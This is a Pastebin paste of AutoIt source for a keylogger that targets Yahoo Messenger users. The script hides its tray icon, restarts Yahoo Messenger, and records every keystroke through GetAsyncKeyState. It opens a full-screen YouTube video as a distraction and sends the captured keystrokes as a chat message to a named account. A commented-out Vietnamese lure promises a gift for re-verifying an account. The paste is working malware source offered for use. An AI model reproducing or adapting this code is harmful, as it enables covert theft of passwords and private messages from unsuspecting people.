API tools faq
paste
Guest User

Untitled

a guest
Dec 4th, 2015
62
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.66 KB | None | 0 0
raw download clone embed print report
  1. #NoTrayIcon
  2. Opt("SendKeyDownDelay", 50)
  3. $UserDll = DllOpen("user32.dll")
  4. Func _IsPressed($hexKey)
  5. Local $aR, $bO
  6. $aR = DllCall($UserDll, "int", "GetAsyncKeyState", "int", $hexKey)
  7. If $aR[0] <> 0 Then
  8. $bO = 1
  9. Else
  10. $bO = 0
  11. EndIf
  12. Return $bO
  13. EndFunc
  14. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  15. ;$window2=wingettitle("")
  16. $log= @ScriptDir
  17. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  18. $idvictim="nguyentrihai93"
  19. $var=string("")
  20. ProcessClose("YahooMessenger.exe")
  21. ProcessWaitClose("YahooMessenger.exe")
  22. Run(@ProgramFilesDir & "\Yahoo!\Messenger\YahooMessenger.exe")
  23. WinWaitActive("Yahoo! Messenger")
  24. $yahoo_handle = WinGetHandle("[active]")
  25. ;MsgBox(0,"Thông báo","Bạn cần xác nhận lại tài khoản để nhận quà")
  26. ControlSetText($yahoo_handle,'',211,$idvictim)
  27. ControlClick($yahoo_handle,"",212)
  28. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  29. Global $var
  30. Func _LogKeyPress($what2log)
  31. $var=StringAddCR($var & $what2log)
  32. Sleep(100)
  33. EndFunc
  34. Func logkey()
  35. While 1
  36. If _IsPressed(0xBA) = 1 Then _LogKeyPress('; ')
  37. If _IsPressed(0xBB) = 1 Then _LogKeyPress('= ')
  38. If _IsPressed(0xBC) = 1 Then _LogKeyPress(', ')
  39. If _IsPressed(0xBD) = 1 Then _LogKeyPress('- ')
  40. If _IsPressed(0xBE) = 1 Then _LogKeyPress('. ')
  41. If _IsPressed(0xBF) = 1 Then _LogKeyPress('/ ')
  42. If _IsPressed(0xC0) = 1 Then _LogKeyPress('` ')
  43. If _IsPressed(0xDB) = 1 Then _LogKeyPress('[ ')
  44. If _IsPressed(0xDC) = 1 Then _LogKeyPress('\ ')
  45. If _IsPressed(0xDD) = 1 Then _LogKeyPress('] ')
  46. If _IsPressed(0xDE) = 1 Then _LogKeyPress("' ")
  47. If _IsPressed(0x08) = 1 Then _LogKeyPress('{BACKSPACE.} ')
  48. If _IsPressed(0x09) = 1 Then _LogKeyPress('{TAB.} ')
  49. If _IsPressed(0x0D) = 1 Then _LogKeyPress('{ENTER.} ')
  50. If _IsPressed(0x14) = 1 Then _LogKeyPress('{CAPSLOCK.} ')
  51. If _IsPressed(0x1B) = 1 Then _LogKeyPress('{ESC.} ')
  52. If _IsPressed(0x20) = 1 Then _LogKeyPress(' ')
  53. If _IsPressed(0x23) = 1 Then _LogKeyPress('{END.} ')
  54. If _IsPressed(0x24) = 1 Then _LogKeyPress('{HOME.} ')
  55. If _IsPressed(0x25) = 1 Then _LogKeyPress('{LEFT ARROW} ')
  56. If _IsPressed(0x26) = 1 Then _LogKeyPress('{UP ARROW} ')
  57. If _IsPressed(0x27) = 1 Then _LogKeyPress('{RIGHT ARROW} ')
  58. If _IsPressed(0x28) = 1 Then _LogKeyPress('{DOWN ARROW} ')
  59. If _IsPressed(0x2C) = 1 Then _LogKeyPress('{PRINT SCREEN} ')
  60. If _IsPressed(0x2D) = 1 Then _LogKeyPress('{INS.} ')
  61. If _IsPressed(0x2E) = 1 Then _LogKeyPress('{DEL.} ')
  62. If _IsPressed(0x30) = 1 Then _LogKeyPress('0')
  63. If _IsPressed(0x31) = 1 Then _LogKeyPress('1')
  64. If _IsPressed(0x32) = 1 Then _LogKeyPress('2')
  65. If _IsPressed(0x33) = 1 Then _LogKeyPress('3')
  66. If _IsPressed(0x34) = 1 Then _LogKeyPress('4')
  67. If _IsPressed(0x35) = 1 Then _LogKeyPress('5')
  68. If _IsPressed(0x36) = 1 Then _LogKeyPress('6')
  69. If _IsPressed(0x37) = 1 Then _LogKeyPress('7')
  70. If _IsPressed(0x38) = 1 Then _LogKeyPress('8')
  71. If _IsPressed(0x39) = 1 Then _LogKeyPress('9')
  72. If _IsPressed(0x41) = 1 Then _LogKeyPress('a')
  73. If _IsPressed(0x42) = 1 Then _LogKeyPress('b')
  74. If _IsPressed(0x43) = 1 Then _LogKeyPress('c')
  75. If _IsPressed(0x44) = 1 Then _LogKeyPress('d')
  76. If _IsPressed(0x45) = 1 Then _LogKeyPress('e')
  77. If _IsPressed(0x46) = 1 Then _LogKeyPress('f')
  78. If _IsPressed(0x47) = 1 Then _LogKeyPress('g')
  79. If _IsPressed(0x48) = 1 Then _LogKeyPress('h')
  80. If _IsPressed(0x49) = 1 Then _LogKeyPress('i')
  81. If _IsPressed(0x4A) = 1 Then _LogKeyPress('j')
  82. If _IsPressed(0x4B) = 1 Then _LogKeyPress('k')
  83. If _IsPressed(0x4C) = 1 Then _LogKeyPress('l')
  84. If _IsPressed(0x4D) = 1 Then _LogKeyPress('m')
  85. If _IsPressed(0x4E) = 1 Then _LogKeyPress('n')
  86. If _IsPressed(0x4F) = 1 Then _LogKeyPress('o')
  87. If _IsPressed(0x50) = 1 Then _LogKeyPress('p')
  88. If _IsPressed(0x51) = 1 Then _LogKeyPress('q')
  89. If _IsPressed(0x52) = 1 Then _LogKeyPress('r')
  90. If _IsPressed(0x53) = 1 Then _LogKeyPress('s')
  91. If _IsPressed(0x54) = 1 Then _LogKeyPress('t')
  92. If _IsPressed(0x55) = 1 Then _LogKeyPress('u')
  93. If _IsPressed(0x56) = 1 Then _LogKeyPress('v')
  94. If _IsPressed(0x57) = 1 Then _LogKeyPress('w')
  95. If _IsPressed(0x58) = 1 Then _LogKeyPress('x')
  96. If _IsPressed(0x59) = 1 Then _LogKeyPress('y')
  97. If _IsPressed(0x5A) = 1 Then _LogKeyPress('z')
  98. If _IsPressed(0x5B) = 1 Then _LogKeyPress('{LEFT WIN} ')
  99. If _IsPressed(0x5C) = 1 Then _LogKeyPress('{RIGHT WIN} ')
  100. If _IsPressed(0x60) = 1 Then _LogKeyPress('0')
  101. If _IsPressed(0x61) = 1 Then _LogKeyPress('1')
  102. If _IsPressed(0x62) = 1 Then _LogKeyPress('2')
  103. If _IsPressed(0x63) = 1 Then _LogKeyPress('3')
  104. If _IsPressed(0x64) = 1 Then _LogKeyPress('4')
  105. If _IsPressed(0x65) = 1 Then _LogKeyPress('5')
  106. If _IsPressed(0x66) = 1 Then _LogKeyPress('6')
  107. If _IsPressed(0x67) = 1 Then _LogKeyPress('7')
  108. If _IsPressed(0x68) = 1 Then _LogKeyPress('8')
  109. If _IsPressed(0x69) = 1 Then _LogKeyPress('9')
  110. If _IsPressed(0x6A) = 1 Then _LogKeyPress('{MULTIPLY} ')
  111. If _IsPressed(0x6B) = 1 Then _LogKeyPress('{ADD} ')
  112. If _IsPressed(0x70) = 1 Then _LogKeyPress('F1 ')
  113. If _IsPressed(0x71) = 1 Then _LogKeyPress('F2 ')
  114. If _IsPressed(0x72) = 1 Then _LogKeyPress('F3 ')
  115. If _IsPressed(0x73) = 1 Then _LogKeyPress('F4 ')
  116. If _IsPressed(0x74) = 1 Then _LogKeyPress('F5 ')
  117. If _IsPressed(0x75) = 1 Then _LogKeyPress('F6 ')
  118. If _IsPressed(0x76) = 1 Then _LogKeyPress('F7 ')
  119. If _IsPressed(0x77) = 1 Then _LogKeyPress('F8 ')
  120. If _IsPressed(0x78) = 1 Then _LogKeyPress('F9 ')
  121. If _IsPressed(0x79) = 1 Then _LogKeyPress('F10 ')
  122. If _IsPressed(0x77) = 1 Then _LogKeyPress('F8 ')
  123. If _IsPressed(0x78) = 1 Then _LogKeyPress('F9 ')
  124. If _IsPressed(0x79) = 1 Then _LogKeyPress('F10 ')
  125. If _IsPressed(0x7A) = 1 Then _LogKeyPress('F11 ')
  126. If _IsPressed(0x7B) = 1 Then _LogKeyPress('F12 ')
  127. If _IsPressed(0x7C) = 1 Then _LogKeyPress('F13 ')
  128. If _IsPressed(0x7D) = 1 Then _LogKeyPress('F14 ')
  129. If _IsPressed(0x7E) = 1 Then _LogKeyPress('F15 ')
  130. If _IsPressed(0x7F) = 1 Then _LogKeyPress('F16 ')
  131. If _IsPressed(0x80) = 1 Then _LogKeyPress('F17 ')
  132. If _IsPressed(0x81) = 1 Then _LogKeyPress('F18 ')
  133. If _IsPressed(0x82) = 1 Then _LogKeyPress('F19 ')
  134. If _IsPressed(0x83) = 1 Then _LogKeyPress('F20 ')
  135. If _IsPressed(0x84) = 1 Then _LogKeyPress('F21 ')
  136. If _IsPressed(0x85) = 1 Then _LogKeyPress('F22 ')
  137. If _IsPressed(0x86) = 1 Then _LogKeyPress('F23 ')
  138. If _IsPressed(0x87) = 1 Then _LogKeyPress('F24 ')
  139. If _IsPressed(0x90) = 1 Then _LogKeyPress('{NUM LOCK} ')
  140. If _IsPressed(0x91) = 1 Then _LogKeyPress('{SCROLL LOCK} ')
  141. If _IsPressed(0xA0) = 1 Then _LogKeyPress('{SHIFT} ')
  142. If _IsPressed(0xA1) = 1 Then _LogKeyPress('{SHIFT} ')
  143. If _IsPressed(0xA2) = 1 Then _LogKeyPress('{CTRL} ')
  144. If _IsPressed(0xA3) = 1 Then _LogKeyPress('{CTRL} ')
  145. If _IsPressed(0xA4) = 1 Then _LogKeyPress('{ALT.} ')
  146. If _IsPressed(0xA5) = 1 Then _LogKeyPress('{ALT.} ')
  147. senddata()
  148. Wend
  149. EndFunc
  150.  
  151. While 1
  152. logkey()
  153.  
  154. WEnd
  155. Func senddata()
  156. $link="http://www.youtube.com/watch?v=3ZIcu_Sv5oI&feature=player_embedded"
  157. $z=ControlClick($yahoo_handle, "", "ATL:009B0F981")
  158. if $z=1 Then
  159. Run(@ProgramFilesDir & "\Internet Explorer\iexplore.exe")
  160. WinWaitActive("[Class:IEFrame]")
  161. WinSetOnTop ( "[Class:IEFrame]", "",1)
  162. $IE_handle = WinGetHandle("[active]")
  163. ControlSend($IE_handle,"","ToolbarWindow324","{f11}")
  164. ControlSend($IE_handle,"","ToolbarWindow324",$link & "{enter}")
  165. $idnhan="phieulang_hoanguit"
  166. $x=ControlSetText($yahoo_handle, "", "ATL:009B0F981",$idnhan)
  167. if $X=1 then
  168. ControlSend($yahoo_handle, "", "ATL:009B0F981","{enter}")
  169. WinActivate($IE_handle)
  170. $y = ControlSetText("[Class:CConvWndBase]","","YIMInputWindow1",$var)
  171. if $y=1 Then
  172. ControlSend("[Class:CConvWndBase]","","YIMInputWindow1","{enter}{esc}")
  173. Exit
  174. Else
  175. ControlSetText("[Class:CConvWndBase]","","YIMInputWindow1",$var)
  176. ControlSend("[Class:CConvWndBase]","","YIMInputWindow1","{enter}{esc}")
  177. Exit
  178. EndIf
  179. EndIf
  180. EndIf
  181. Sleep(100)
  182. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!